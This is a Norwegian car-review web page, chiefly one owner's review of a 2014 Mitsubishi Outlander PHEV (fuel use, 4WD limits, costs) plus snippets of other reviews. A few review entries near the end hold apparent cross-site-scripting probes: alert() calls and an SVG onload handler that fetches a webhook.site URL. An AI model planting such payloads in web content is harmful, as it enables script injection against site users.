Hvilken bil ser du etter?

Tilbake til front | Skriv en vurdering
Logg inn / Redigere
2014 Mitsubishi Outlander PHEV Instyle+ Sport Utility Vehicle Bensin/Batteri

Vurdert av Gorm

Skriv en vurdering av denne bilen

Score 6.2/10

Har vært veldig godt fornøyd med min 2014 Outlander PHEV, og lurte lenge på å erstatte den med en ny 2017 modell. Bilen har fungert ypperlig som "service bil" i nærområdet, med tilnærmet null bensinforbruk om sommeren. Den har imidlertid litt høyt forbruk på langkjøring, noe som opplevdes skuffende i starten. Totalt sett har jeg ingen motforestilling i forhold til å anbefale bilen til venner og kjente. Bilen er godt utstyrt (Instyle+), og føles trygg og god på veien.

Kjøreglede

3 / 10
Føles veldig traust, men oppfører seg forutsigbart og "trygt". Er noe skuffet over at bilen ikke har skikkelig firehjulstrekk, da den markedsføres annerledes. Står man fast i bratt bakke med ren is, er det ingen måte å få bilen til å trekke på alle fire.
På landeveien trives jeg godt bak rattet på Outlander PHEV.
Bilen markedsføres med kombinert effekt på 202 hestekrefter. Dette er bare tull. Opp til 70 km/t er det kun el-drift, og bensinmotoren fungerer kun som dynamo/lader. Ergo er det bare over 70 km/t man har kombinert effekt, og man må over 100 km/t før bensinmotoren får turtall nok til å ha noe særlig trekkraft. Dette fordi Outlander PHEV ikke har tradisjonell automatgearkasse, men snarere bare ett gear, og derfor kan heller ikke bensinmotoren trekke forhjulene direkte hjulene under 70 km/t. Den kombinerte effekten av bensin- og elmotor vil derfor bare gjøre seg gjeldene over 100 km/t.

Kvalitet/driftssikkerhet

7 / 10
Har ikke hatt noe som helt problemer, men trekker litt for "knirkende plast" i interiør (litt manglende kvalitetsfølelse).

Plass/praktiske løsninger

9 / 10
I sin prisklasse opplever jeg at bilen er særdeles stor, og at den har en del gode praktiske løsninger. Skulle gjerne sett at det fantes sikkerhetsnett til å trekke opp mellom bagasjerom og kupé, som strengt tatt er det eneste jeg føler mangler ved bilen. Setene har ikke rare justeringsmulighetene, men har likevel god sittekomfort, men bra støtte i korsrygg.

Økonomi/kostnader

9 / 10
Har ikke hatt noe som helst problemer med bilen, og den har i tillegg lave kostnader ved service (spesielt sammenliknet med vår Audi Q3)

Drivstoff/forbruk

3 / 10
Her kan man jo skrive en lang avhandling, men skal hold det kort. Bilen markedsføres med et latterlig lavt bensinforbruk, men så fort man skal kjøre lengre strekninger, er forbruket ekstremt høyt i forhold til de markedsførte 0,19 liter pr mil. Kjører mye Oslo-Trysil-Oslo, og da er forbruket 0,8. Om man ligger litt over fartsgrensen på motorvei, er forbruket raskt oppe i literen på mila. Ikke avskrekkende i seg selv, men mye høyere enn tilsvarende biler med diesel-motor, og ekstremt mye høyere enn de forespeilede 0,19

Les flere vurderinger:
Mitsubishi > Outlander PHEV > 2013-

Flere vurderinger fra samme generasjon

Mitsubishi Outlander PHEV (2020)

Veldig høyt bensinforbruk, batteridrift holder et par mil, men effektivt bare over 10 varmegrader. Rustutsatt mot kanter. dårlig kvalitet på og montering av plast- og gummidetaljer.

Score 6.2

Vurdert av gubbe

Mitsubishi Outlander PHEV (2020)

Veldig fornøyd

Score 7.6

Vurdert av Jandur

Mitsubishi Outlander PHEV (2020)

Problemer med hybridfunksjon og rusttendenser trekker ned vurderingen av denne bilen kraftig, som ellers er en helt ok, praktisk og kostnadseffektiv bil.

Score 6.2

Vurdert av Tobias

Mitsubishi Outlander PHEV (2020)

God bil. Har det som behøves av utstyr. Infotainment systemet er gammelt. Løsning for fjernstyring via app likeså; gammelt og tungvint. Mye piping fra systemet. Ikke lett å finne frem i menyer o

Score 8.8

Vurdert av Ebro

Mitsubishi Outlander PHEV (2020)

God bil å kjøre, god plass for passasjerer. Liker ikke at det ikke går å bremse på gir i lange nedover bakker, kun regenerert bremsing. Sliter mer bremser. Å veldig skuffet over lakk og stål kv

Score 6.2

Vurdert av Annkr

Mitsubishi Outlander PHEV (2020)

Bra bil. Men savner en skikkelig parkeringsvarmer som man kan nå via en app.

Score 7.2

Vurdert av Bileier66

Mitsubishi Outlander PHEV (2020)

Veldig fornøyd. Vi trengte firehjulstrekker med god plass etter hyttekjøp. Bilen lever godt opp til forventingene. Kjører så og si elektrisk tilogfra jobb i det daglige.

Score 9.6

Vurdert av Mathisen

Mitsubishi Outlander PHEV (2020)

Trygg og fin familiebil. Eneste irritasjonsmomentet mitt er at ved akselerasjon så spretter turtallet opp på max med en gang. Det «høres» feil ut i mine ører.

Score 9.0

Vurdert av Runepune

Mitsubishi Outlander PHEV (2020)

Hadde 2014-modell tidligere av samme type. Kjøpte ny i 2020 fobi jeg var så godt fornøyd med bilen

Score 9.4

Vurdert av Andron

Mitsubishi Outlander PHEV (2020)

Fornøyd med bilen med unntak av automatkassen som sitter i den. Den sliter jeg med å akseptere grunnet turtallet som fyker til topps altfor ofte.

Score 7.4

Vurdert av DMEIS

Mitsubishi Outlander PHEV (2020)

Fantastisk god bil som har forandet meg fra skeptiker til ihuga fan. Helt rå bil når det gjelder fremkommelighet i snø. Det beste er at automatikken gjør det nesten umulig å kjøre seg fast. Med

Score 9.6

Vurdert av Raymond

Mitsubishi Outlander PHEV (2019)

Har kjørt Mits. siden 2000, har aldri hatt problemer, ikke en reperasjon på noen av bilene.

Score 7.4

Vurdert av tinn

Mitsubishi Outlander PHEV (2019)

Krav til service pr. 12 mnd til en kostnad på ca. 7500.- for å opprettholde garantien er helt på tryne. Kjører 5000-6000 km pr. år. Dette medfører servicekostnader på kr. 12-15.- pr. mil. Sikk

Score 7.6

Vurdert av Nilseren

Mitsubishi Outlander PHEV (2019)

Hadde den gått det som den i utgangspunktet skulle gjøre, så hadde denne vært helt super. Kan nævnes at S Edition er en smule stiv i fjæring/demping. Bygd for fart

Score 8.2

Vurdert av Jostein

Mitsubishi Outlander PHEV (2019)

Kjempefornøyd med både bil og servis hos Motor Forum. Er tross alt 7 års garanti, og det sier jo litt om kvalitet.

Score 10

Vurdert av Nijovo

Flere vurderinger

Renault 5 E-Tech (2025)

Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te

Score 8.4

Vurdert av Knut

Citroën e-C4 (2025)

Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve

Score 9.0

Vurdert av Siri

Aston Martin DB9 GT (2017)

alert("total")

Score 5.0

Vurdert av test

Aston Martin DB9 GT (2017)

totalvurderingtest

Score 5.0

Vurdert av test

Abarth 500e (2024)

Score 10

Vurdert av Bernt

Abarth 500e (2024)

Score 1.0

Vurdert av xxxfooo4

Abarth 500e (2024)

xxxfooo4

Score 3.0

Vurdert av xxxfooo4

Abarth 500e (2024)

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>

Score 6.2

Vurdert av Bernt

Volvo EX40 (2026)

Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass

Score 1.6

Vurdert av Jorsalfar1996

Ford Explorer EV (2025)

Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.

Score 8.2

Vurdert av Adams

Ford Kuga (2021)

Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring

Score 8.6

Vurdert av Viggo

Hongqi E-HS9 (2022)

Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!

Score 8.2

Vurdert av MrP85

Mercedes-Benz EQC (2022)

Topp komfort og driftsikker.

Score 9.4

Vurdert av Renna

Polestar 2 (2022)

God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h

Score 8.8

Vurdert av Autofilen

Mercedes-Benz GLE (2020)

Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km

Score 9.6

Vurdert av Hans